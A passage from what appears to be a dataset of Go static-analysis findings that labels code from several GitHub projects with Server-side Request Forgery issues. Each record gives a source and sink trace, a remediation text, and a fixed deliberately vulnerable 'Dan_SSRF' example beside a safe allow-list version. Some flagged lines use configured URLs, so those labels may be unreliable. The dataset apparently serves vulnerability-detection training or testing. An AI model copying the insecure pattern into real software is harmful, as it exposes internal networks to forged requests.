that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 53, "entireCode": "package ezSyncAreaCode\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"sort\"\n\t\"strconv\"\n\t\"time\"\n\n\t\"github.com/HogwartsBerkeley/RoomOfRequirement/ezMySQL\"\n\t\"github.com/HogwartsBerkeley/RoomOfRequirement/ezPasswordEncoder\"\n\t\"xorm.io/xorm\"\n)\n\ntype sortHelper []*areaDBModel\n\nfunc (s sortHelper) Len() int {\n\treturn len(s)\n}\nfunc (s sortHelper) Less(i, j int) bool {\n\tiCode, _ := strconv.Atoi(s[i].Code)\n\tjCode, _ := strconv.Atoi(s[j].Code)\n\treturn iCode < jCode\n}\nfunc (s sortHelper) Swap(i, j int) {\n\ts[i], s[j] = s[j], s[i]\n}\nfunc SyncFromAMap(provinceName string, name string, aMapKey string, dbInfo *ezMySQL.Info) error {\n\ttableName = name\n\teng, err := initDBEnv(dbInfo)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\t_ = eng.Close()\n\t}()\n\ttoWriteArr, err := getAMapData(provinceName, aMapKey)\n\tif err != nil {\n\t\treturn err\n\t}\n\tsort.Sort(toWriteArr)\n\t_, err = eng.Insert(toWriteArr)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\nfunc getAMapData(provinceName string, aMapKey string) (sortHelper, error) {\n\taMapURL := fmt.Sprintf(\"https://restapi.amap.com/v3/config/district?key=%s&subdistrict=3&keywords=%s\", aMapKey, provinceName)\n\tprintln(aMapURL)\n\trsp, err := http.Get(aMapURL)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif rsp.StatusCode != 200 {\n\t\treturn nil, fmt.Errorf(\"http status is not 200\")\n\t}\n\tbodyData, err := ioutil.ReadAll(rsp.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar rspModel aMapRspModel\n\tif err = json.Unmarshal(bodyData, &rspModel); err != nil {\n\t\treturn nil, err\n\t}\n\tvar toWriteArea sortHelper\n\tfor _, p := range rspModel.Districts {\n\t\t// 省级\n\t\tpCode := fmt.Sprintf(\"%s00\", p.AdCode)\n\t\ttoWriteArea = append(toWriteArea, &areaDBModel{\n\t\t\tCode: pCode,\n\t\t\tName: p.Name,\n\t\t\tCenter: p.Center,\n\t\t\tParentCode: \"00000000\",\n\t\t\tParentName: \"中国\",\n\t\t\tCreateTime: time.Time{},\n\t\t})\n\t\tif p.Level != \"province\" {\n\t\t\treturn nil, fmt.Errorf(\"在province级里面发现了%s,%s\", p.Name, p.Level)\n\t\t}\n\t\tfor _, c := range p.Districts {\n\t\t\t// 市级\n\t\t\tcCode := fmt.Sprintf(\"%s00\", c.AdCode)\n\t\t\ttoWriteArea = append(toWriteArea, &areaDBModel{\n\t\t\t\tCode: cCode,\n\t\t\t\tName: c.Name,\n\t\t\t\tCenter: c.Center,\n\t\t\t\tParentCode: pCode,\n\t\t\t\tParentName: p.Name,\n\t\t\t\tCreateTime: time.Time{},\n\t\t\t})\n\t\t\tcSubStreet := -1\n\t\t\tfor j, d := range c.Districts {\n\t\t\t\t// 区级\n\t\t\t\tif d.Level == \"street\" {\n\t\t\t\t\tif cSubStreet == 1 {\n\t\t\t\t\t\t// https://lbs.amap.com/api/webservice/guide/api/district:\n\t\t\t\t\t\t// 目前部分城市和省直辖县因为没有区县的概念,故在市级下方直接显示街道。例如:广东-东莞、海南-文昌市。\n\t\t\t\t\t\treturn nil, fmt.Errorf(\"both street and district under %s\", c.Name)\n\t\t\t\t\t} else if cSubStreet == -1 {\n\t\t\t\t\t\t// 这里还没有进来过 新弄一个区\n\t\t\t\t\t\ttoWriteArea = append(toWriteArea, &areaDBModel{\n\t\t\t\t\t\t\tCode: fmt.Sprintf(\"%s0100\", c.AdCode[:len(c.AdCode)-2]),\n\t\t\t\t\t\t\tName: fmt.Sprintf(\"%s区\", c.Name),\n\t\t\t\t\t\t\tCenter: c.Center,\n\t\t\t\t\t\t\tParentCode: cCode,\n\t\t\t\t\t\t\tParentName: c.Name,\n\t\t\t\t\t\t\tCreateTime: time.Time{},\n\t\t\t\t\t\t})\n\t\t\t\t\t}\n\t\t\t\t\tcSubStreet = 0\n\t\t\t\t\tdCode := fmt.Sprintf(\"%s01\", c.AdCode[:len(c.AdCode)-2])\n\t\t\t\t\tif j < 9 {\n\t\t\t\t\t\tdCode = fmt.Sprintf(\"%s0%d\", dCode, j+1)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tdCode = fmt.Sprintf(\"%s%d\", dCode, j+1)\n\t\t\t\t\t}\n\t\t\t\t\ttoWriteArea = append(toWriteArea, &areaDBModel{\n\t\t\t\t\t\tCode: dCode,\n\t\t\t\t\t\tName: d.Name,\n\t\t\t\t\t\tCenter: d.Center,\n\t\t\t\t\t\tParentCode: fmt.Sprintf(\"%s0100\", c.AdCode[:len(c.AdCode)-2]),\n\t\t\t\t\t\tParentName: fmt.Sprintf(\"%s区\", c.Name),\n\t\t\t\t\t\tCreateTime: time.Time{},\n\t\t\t\t\t})\n\t\t\t\t} else {\n\t\t\t\t\tif cSubStreet == 0 {\n\t\t\t\t\t\t// https://lbs.amap.com/api/webservice/guide/api/district:\n\t\t\t\t\t\t// 目前部分城市和省直辖县因为没有区县的概念,故在市级下方直接显示街道。例如:广东-东莞、海南-文昌市。\n\t\t\t\t\t\treturn nil, fmt.Errorf(\"both street and district under %s\", c.Name)\n\t\t\t\t\t}\n\t\t\t\t\tcSubStreet = 1\n\t\t\t\t\tdCode := fmt.Sprintf(\"%s00\", d.AdCode)\n\t\t\t\t\ttoWriteArea = append(toWriteArea, &areaDBModel{\n\t\t\t\t\t\tCode: dCode,\n\t\t\t\t\t\tName: d.Name,\n\t\t\t\t\t\tCenter: d.Center,\n\t\t\t\t\t\tParentCode: cCode,\n\t\t\t\t\t\tParentName: c.Name,\n\t\t\t\t\t\tCreateTime: time.Time{},\n\t\t\t\t\t})\n\t\t\t\t\tfor i, s := range d.Districts {\n\t\t\t\t\t\t// 街道级\n\t\t\t\t\t\tsCode := s.AdCode\n\t\t\t\t\t\tif i < 9 {\n\t\t\t\t\t\t\tsCode = fmt.Sprintf(\"%s0%d\", sCode, i+1)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tsCode = fmt.Sprintf(\"%s%d\", sCode, i+1)\n\t\t\t\t\t\t}\n\t\t\t\t\t\ttoWriteArea = append(toWriteArea, &areaDBModel{\n\t\t\t\t\t\t\tCode: sCode,\n\t\t\t\t\t\t\tName: s.Name,\n\t\t\t\t\t\t\tCenter: s.Center,\n\t\t\t\t\t\t\tParentCode: dCode,\n\t\t\t\t\t\t\tParentName: d.Name,\n\t\t\t\t\t\t\tCreateTime: time.Time{},\n\t\t\t\t\t\t})\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn toWriteArea, nil\n}\nfunc initDBEnv(dbInfo *ezMySQL.Info) (*xorm.Engine, error) {\n\tif dbInfo.PasswordBase64Str == \"\" {\n\t\treturn nil, fmt.Errorf(\"empty password base64 str\")\n\t}\n\tpassword, err := ezPasswordEncoder.GetPasswordFromEncodedStr(dbInfo.PasswordBase64Str)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\teng, err := xorm.NewEngine(\"mysql\", fmt.Sprintf(\"%s:%s@tcp(%s:%s)/%s?charset=utf8\",\n\t\tdbInfo.Account, password, dbInfo.Host, dbInfo.Port, dbInfo.DatabaseName))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"db engine init failed ,err:%s\", err.Error())\n\t}\n\tloc, _ := time.LoadLocation(\"Asia/Shanghai\")\n\teng.SetTZLocation(loc)\n\teng.SetTZDatabase(loc)\n\terr = eng.Sync2(&areaDBModel{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn eng, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 51, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 51, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 53, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "3f9c51fdbb5f5d6a4c832e9ff4f0b7a1ca7c8d01eb391ee9f76d2e2cef7d56ab", "license": {"spdx": ["MIT"], "repo": "6yi/WechatCron2019-nCov", "path": "src/2019nCov.go", "repo_head_hexsha": "965bc5183a885846bd2e68a5b3e4528204b9a067", "stack_hexsha": "22e804ef4bab5a72c3f931dd951d37bf6ae87723", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 146, "entireCode": "package main\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"fmt\"\n\tjsoniter \"github.com/json-iterator/go\"\n\t\"github.com/robfig/cron\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"os\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n)\n\ntype users struct {\n\tappid string\n\tsecret string\n\ttemplateID string\n\topenid []string\n\tprovinceName []string\n}\n\n\nfunc main(){\n\tgui()\n}\n\nfunc gui(){\n\tvar appid string\n\tvar secret string\n\tvar number int\n\tfmt.Println(\"\\n2019新型肺炎疫情微信公众号定时推送\\n\")\nHere:\n\tfmt.Println(\"请设定appID和secret:\\n\")\n\tfmt.Printf(\"appID:\")\n\tfmt.Scanln(&appid)\n\tfmt.Printf(\"secret:\")\n\tfmt.Scanln(&secret)\n\ttoken:=getAPI(appid,secret)\n\tif token.AccessToken==\"\" {\n\t\tfmt.Printf(\"appid或者secret设置错误\")\n\t\tgoto Here\n\t}\n\tvar templateID string\n\tfmt.Println(\"请设定推送模板templateID:\")\n\tfmt.Scanln(&templateID)\n\tus:=new(users)\n\tus.templateID=templateID\n\tus.secret=secret\n\tus.appid=appid\n\tfmt.Println(\"设定推送人数: \")\n\tfmt.Scanln(&number)\n\tvar openid string\n\tvar provinceName string\n\tus.openid=make([]string,number)\n\tus.provinceName=make([]string,number)\n\tfor key := 0; key < number; key++ {\n\t\tfmt.Println(\"第\",key+1,\"位用户的openID:\")\n\t\tfmt.Scanln(&openid)\n\t\tus.openid[key]=openid\n\t\tfmt.Println(\"第\",key+1,\"位用户需要推送的省份,请写全称如(广东省):\")\n\t\tfmt.Scanln(&provinceName)\n\t\tus.provinceName[key]=provinceName\n\t}\n\tdef_spec := \"0 0 0,9,15,20 * ?\"\n\tvar spec string\n\n\tfmt.Printf(\"定点推送时间:(请按照linuxCron语法 按回车默认 0 0 0,9,15,20 * ? 每日0时 9时 15时 20时推送)\\n\")\n\n\tScanf(&spec)\n\tif spec==\"\" {\n\t\tspec=def_spec\n\t}\n\tfmt.Println(\"推送开始\")\n\tc := cron.New()\n\tc.AddFunc(spec, func() {\n\t\tfor key := 0; key < number; key++ {\n\t\t\tsendMsg(us.appid,us.secret,us.openid[key],us.templateID,us.provinceName[key])\n\t\t}\n\t})\n\tc.Start()\n\tselect{}\n\n}\n\nfunc Scanf(a *string) {\n\treader := bufio.NewReader(os.Stdin)\n\tdata, _, _ := reader.ReadLine()\n\t*a = string(data)\n}\n\nfunc sendMsg(appid string,secret string,openID string,templateID string,provinceName string){\n\tpmsg:=getMsg(provinceName)\n\tvar msg string\n\tif pmsg.state==0{\n\t\tmsg=\"数据出错\"\n\t}else{\n\t\tmsg=getSendMsg(pmsg)\n\t}\n\tfmt.Println(msg)\n\tapi := getAPI(appid, secret)\n\tu:=\"https://api.weixin.qq.com/cgi-bin/message/template/send?access_token=\"+api.AccessToken\n\tms:=&MS{\n\t\tValue:msg,\n\t\tColor:\"#173177\",\n\t}\n\tbody:=&Body{\n\t\tTouser:openID,\n\t\tTemplateID:templateID,\n\t\tURL:\"https://3g.dxy.cn/newh5/view/pneumonia?scene=2&clicktime=1579579384&enterid=1579579384&from=groupmessage&isappinstalled=0\",\n\t\tData: struct{ MS }{MS: *ms},\n\t}\n\tjson := jsoniter.ConfigCompatibleWithStandardLibrary\n\tb,err:=json.Marshal(body)\n\tclient := http.Client{}\n\tresp, err := client.Post(u, \"application/json\", bytes.NewBuffer(b))\n\tif err!=nil {\n\n\t}\n\tdefer resp.Body.Close()\n\n\tbo, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\t// handle error\n\t}\n\tfmt.Println(string(bo))\n}\n\ntype Body struct {\n\tTouser string `json:\"touser\"`\n\tTemplateID string `json:\"template_id\"`\n\tURL string `json:\"url\"`\n\tData struct {\n\t\tMS\n\t} `json:\"data\"`\n}\ntype MS struct {\n\tValue string `json:\"value\"`\n\tColor string `json:\"color\"`\n}\n\nfunc getAPI(appid string, secret string) *token {\n\turl:=\"https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&&\"+\"appid=\"+appid+\"&&secret=\"+secret\n\tresp,erro:=http.Get(url)\n\tif erro!=nil{\n\t\tfmt.Println(\"erro\")\n\t}\n\tbody,erro:=ioutil.ReadAll(resp.Body)\n\tif erro!=nil {\n\t\tfmt.Println(\"erro\")\n\t}\n\tjson := jsoniter.ConfigCompatibleWithStandardLibrary\n\ttoken:=new(token)\n\tjson.Unmarshal(body,token)\n\treturn token\n}\n\ntype AllMsg struct {\n\tCountRemark string `json:\"countRemark\"`\n\tConfirmedCount int `json:\"confirmedCount\"`\n\tSuspectedCount int `json:\"suspectedCount\"`\n\tCuredCount int `json:\"curedCount\"`\n\tDeadCount int `json:\"deadCount\"`\n\tVirus string `json:\"virus\"`\n}\n\nfunc getMsg(provinceName string) *reMsg{\n\tresp,erro:=http.Get(\"https://3g.dxy.cn/newh5/view/pneumonia?scene=2&clicktime=1579579384&enterid=1579579384&from=groupmessage&isappinstalled=0\")\n\tif erro!=nil{\n\t\treturn &reMsg{state:0}\n\t}\n\tbody,erro:=ioutil.ReadAll(resp.Body)\n\tif erro!=nil {\n\t\treturn &reMsg{state:0}\n\t}\n\tstrs:=(regexp.MustCompile(\"\\\\{\\\"provinceName\\\":\\\"\"+provinceName+\"\\\".*?\\\\}\\\\]\\\\}\").FindAll(body,-1))[0]\n\tstrs2:=(regexp.MustCompile(`\"countRemark\":\".*?\",\"confirmedCount\":.*?,\"suspectedCount\":.*?,\"curedCount\":.*?,\"deadCount\":.*?,\"virus\":\".*?\"`).\n\t\tFindAll(body,-1))[0]\n\tx:=\"{\"+string(strs2)+\"}\"\n\tjson := jsoniter.ConfigCompatibleWithStandardLibrary\n\talldata:=new(AllMsg)\n\tjson.Unmarshal([]byte(x),alldata)\n\tdata:=new(Msg)\n\tjson.Unmarshal(strs,data)\n\tdata.AllConfirmedCount=strconv.Itoa(alldata.ConfirmedCount)\n\tdata.AllSuspectedCount=strconv.Itoa(alldata.SuspectedCount)\n\tdata.AllCuredCount=strconv.Itoa(alldata.CuredCount)\n\tdata.AllDeadCount=strconv.Itoa(alldata.DeadCount)\n\treturn &reMsg{state:1,Msg:*data}\n}\n\nfunc getSendMsg(msg *reMsg) string {\n\tvar str string\n\tstr=\"全国\"+\"\\t确诊:\"+msg.AllConfirmedCount+\"\\t疑似:\"+msg.AllSuspectedCount+\"\\t死亡:\"+msg.AllDeadCount+\"\\t治愈:\"+msg.AllCuredCount+\"\\n\"+msg.ProvinceName+\n\t\t\"\\t确诊:\"+strconv.Itoa(msg.ConfirmedCount)+\n\t\t\"\\t死亡:\"+strconv.Itoa(msg.DeadCount)+\n\t\t\"\\t治愈:\"+strconv.Itoa(msg.CuredCount)+\n\t\t\"\\n\\n\"\n\n\tfor _,city:=range msg.Cities{\n\t\tstr=str+city.CityName+\"\\t确诊:\"+\n\t\t\tstrconv.Itoa(city.ConfirmedCount)+\n\t\t\t\"\\t死亡:\"+strconv.Itoa(city.DeadCount)+\n\t\t\t\"\\t治愈:\"+strconv.Itoa(city.CuredCount)+\"\\n\"\n\t}\n\treturn str\n}\n\n\ntype reMsg struct {\n\tstate int\n\tMsg\n}\n\ntype Msg struct {\n\tAllConfirmedCount string\n\tAllDeadCount string\n\tAllCuredCount string\n\tAllSuspectedCount string\n\tProvinceName string `json:\"provinceName\"`\n\tProvinceShortName string `json:\"provinceShortName\"`\n\tConfirmedCount int `json:\"confirmedCount\"`\n\tSuspectedCount int `json:\"suspectedCount\"`\n\tCuredCount int `json:\"curedCount\"`\n\tDeadCount int `json:\"deadCount\"`\n\tComment string `json:\"comment\"`\n\tCities []struct {\n\t\tCityName string `json:\"cityName\"`\n\t\tConfirmedCount int `json:\"confirmedCount\"`\n\t\tSuspectedCount int `json:\"suspectedCount\"`\n\t\tCuredCount int `json:\"curedCount\"`\n\t\tDeadCount int `json:\"deadCount\"`\n\t} `json:\"cities\"`\n}\n\n\ntype token struct {\n\tAccessToken string `json:\"access_token\"`\n\tExpiresIn int `json:\"expires_in\"`\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 145, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 146, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "a784281819a5e5ce5c8ba6f9e4b3e4352d6b4dd31a32f1fe9c40fc31ea29e21f", "license": {"spdx": ["MIT"], "repo": "santakd/terraform-provider-elastic", "path": "resource_kibana_index_pattern.go", "repo_head_hexsha": "16a5b6e28aac740320dcaee58bec91646488382e", "stack_hexsha": "91c18b88fb4d0ea1304f4a2beef9bcdf7749211b", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 59, "entireCode": "package main\n\nimport (\n\t\"github.com/hashicorp/terraform/helper/schema\"\n _ \"github.com/hashicorp/terraform/terraform\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"bytes\"\n\t\"log\"\n\t\"fmt\"\n\t\"errors\"\n\t\"encoding/json\"\n)\n\ntype IndexPattern struct {\n\tId string `json:\"id\"`\n\tObjectType string `json:\"type\"`\n\tUpdatedAt string `json:\"updated_at\"`\n\tVersion int `json:\"version\"`\n}\n\nfunc resourceKibanaIndexPattern() *schema.Resource {\n\treturn &schema.Resource{\n\t\tCreate: resourceElasticIndexPatternCreate,\n\t\tRead: resourceElasticIndexPatternRead,\n\t\tUpdate: resourceElasticIndexPatternUpdate,\n\t\tDelete: resourceElasticIndexPatternDelete,\n\t\tSchema: map[string]*schema.Schema{\n\t\t\t\"object_id\": &schema.Schema{\n\t\t\t\tType: schema.TypeString,\n\t\t\t\tComputed: true,\n\t\t\t},\n\t\t\t\"version\": &schema.Schema{\n\t\t\t\tType: schema.TypeInt,\n\t\t\t\tComputed: true,\n\t\t\t},\n\t\t\t\"name\": &schema.Schema{\n\t\t\t\tType: schema.TypeString,\n\t\t\t\tForceNew: true,\n\t\t\t\tRequired: true,\n\t\t\t},\n\t\t\t\"body\": &schema.Schema{\n\t\t\t\tType: schema.TypeString,\n\t\t\t\tRequired: true,\n\t\t\t},\n\t\t},\n\t}\n}\n\nfunc resourceElasticIndexPatternCreate(d *schema.ResourceData, meta interface{}) error {\n\turl := meta.(*ElasticInfo).kibanaUrl\n\t_ = d.Get(\"name\").(string)\n\n\tbody := d.Get(\"body\").(string)\n\n\turl = fmt.Sprintf(\"%v/api/saved_objects/index-pattern\", url)\n\n\tclient := &http.Client{}\n\treq, err := http.NewRequest(\"POST\", url, bytes.NewBufferString(body))\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Header.Add(\"kbn-xsrf\", \"true\")\n\treq.Header.Add(\"content-type\", \"application/json\")\n\n\tlog.Printf(\"POST new index-pattern to %v\", url)\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\trespBody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar indexPattern IndexPattern\n\tjson.Unmarshal(respBody, &indexPattern)\t\n\tlog.Printf(\"Raw Body: %s\", respBody)\n\tlog.Printf(\"ID: %s\", indexPattern.Id)\n\tlog.Printf(\"ObjectType: %s\", indexPattern.ObjectType)\n\tlog.Printf(\"UpdatedAt: %s\", indexPattern.UpdatedAt)\n\tlog.Printf(\"Version: %v\", indexPattern.Version)\n\n\td.SetId(indexPattern.Id)\n\td.Set(\"object_id\", indexPattern.Id)\n\td.Set(\"version\", indexPattern.Version)\n\n\treturn err\n}\n\nfunc resourceElasticIndexPatternRead(d *schema.ResourceData, meta interface{}) error {\n\turl := meta.(*ElasticInfo).kibanaUrl\n\tobjectId := d.Get(\"object_id\")\n\tversion := d.Get(\"version\")\n\n\turl = fmt.Sprintf(\"%v/api/saved_objects/index-pattern/%v\", url, objectId)\n\tclient := &http.Client{}\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Header.Add(\"kbn-xsrf\", \"true\")\n\treq.Header.Add(\"content-type\", \"application/json\")\n\tlog.Printf(\"Get existing index-pattern with %v\", url)\n\tresp, err := client.Do(req)\n\tif err != nil {\n \t return err\n\t}\n\tdefer resp.Body.Close()\n\n\trespBody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n \t return err\n\t}\n\n\tvar indexPattern IndexPattern\n\tjson.Unmarshal(respBody, &indexPattern)\t\n\tif indexPattern.Version != version {\n\t\treturn errors.New(fmt.Sprintf(\"Index Pattern has been modified. Found version %v, Expected version %v\", err, indexPattern.Version, version))\n\t}\n\n\treturn nil\n}\n\nfunc resourceElasticIndexPatternUpdate(d *schema.ResourceData, meta interface{}) error {\n\turl := meta.(*ElasticInfo).kibanaUrl\n\tobjectId := d.Get(\"object_id\")\n\n\tbody := d.Get(\"body\").(string)\n\n\turl = fmt.Sprintf(\"%v/api/saved_objects/index-pattern/%v\", url, objectId)\n\tclient := &http.Client{}\n\treq, err := http.NewRequest(\"PUT\", url, bytes.NewBufferString(body))\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Header.Add(\"kbn-xsrf\", \"true\")\n\treq.Header.Add(\"content-type\", \"application/json\")\n\tlog.Printf(\"Update index-pattern to %v\", url)\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\trespBody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar indexPattern IndexPattern\n\tjson.Unmarshal(respBody, &indexPattern)\t\n\tlog.Printf(\"Raw Body: %s\", respBody)\n\tlog.Printf(\"ID: %s\", indexPattern.Id)\n\tlog.Printf(\"ObjectType: %s\", indexPattern.ObjectType)\n\tlog.Printf(\"UpdatedAt: %s\", indexPattern.UpdatedAt)\n\tlog.Printf(\"Version: %v\", indexPattern.Version)\n\td.Set(\"object_id\", indexPattern.Id)\n\td.Set(\"version\", indexPattern.Version)\n\treturn nil\n}\n\nfunc resourceElasticIndexPatternDelete(d *schema.ResourceData, meta interface{}) error {\n\turl := meta.(*ElasticInfo).kibanaUrl\n\tobjectId := d.Get(\"object_id\")\n\n\td.Set(\"object_id\", nil)\n\td.Set(\"version\", nil)\n\n\turl = fmt.Sprintf(\"%v/api/saved_objects/index-pattern/%v\", url, objectId)\n\tclient := &http.Client{}\n\treq, err := http.NewRequest(\"DELETE\", url, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Header.Add(\"kbn-xsrf\", \"true\")\n\treq.Header.Add(\"content-type\", \"application/json\")\n\tlog.Printf(\"DELETE index-pattern to %v\", url)\n\t_, err = client.Do(req)\n\tif err != nil {\n \t\treturn err \n\t}\n\treturn nil\n}\n\n", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 56, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 56, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 59, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "d740e975eed7054b9ee3c15a574c5d930d99c64ebf8983c258826e1c880d06ae", "license": {"spdx": ["MIT"], "repo": "gurpreetz/imhome", "path": "mistDeviceQuery.go", "repo_head_hexsha": "744d5b4feb2a04cc25fba092453b9fd1c302d729", "stack_hexsha": "e14e42b223c81f4ab2d8d39de8793e5d1a87fc82", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 47, "entireCode": "package main\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n)\n\n// DeviceInfo - expected return from API\ntype DeviceInfo struct {\n\tManufacturer string `json:\"manufacture\"`\n\tHostName string `json:\"hostname\"`\n\tUpTime int `json:\"uptime\"`\n}\n\nfunc doRequest(req *http.Request, apiToken string) ([]byte, error) {\n\ttoken := fmt.Sprintf(\"Token \" + apiToken)\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Header.Set(\"Authorization\", token)\n\n\tclient := &http.Client{}\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif 404 == resp.StatusCode {\n\t\treturn nil, errors.New(\"Device not found\")\n\t}\n\tif 200 != resp.StatusCode {\n\t\treturn nil, fmt.Errorf(\"%s\", body)\n\t}\n\treturn body, nil\n}\n\n// GetDeviceInfo - query the REST API\nfunc GetDeviceInfo(cfg Config) (*DeviceInfo, error) 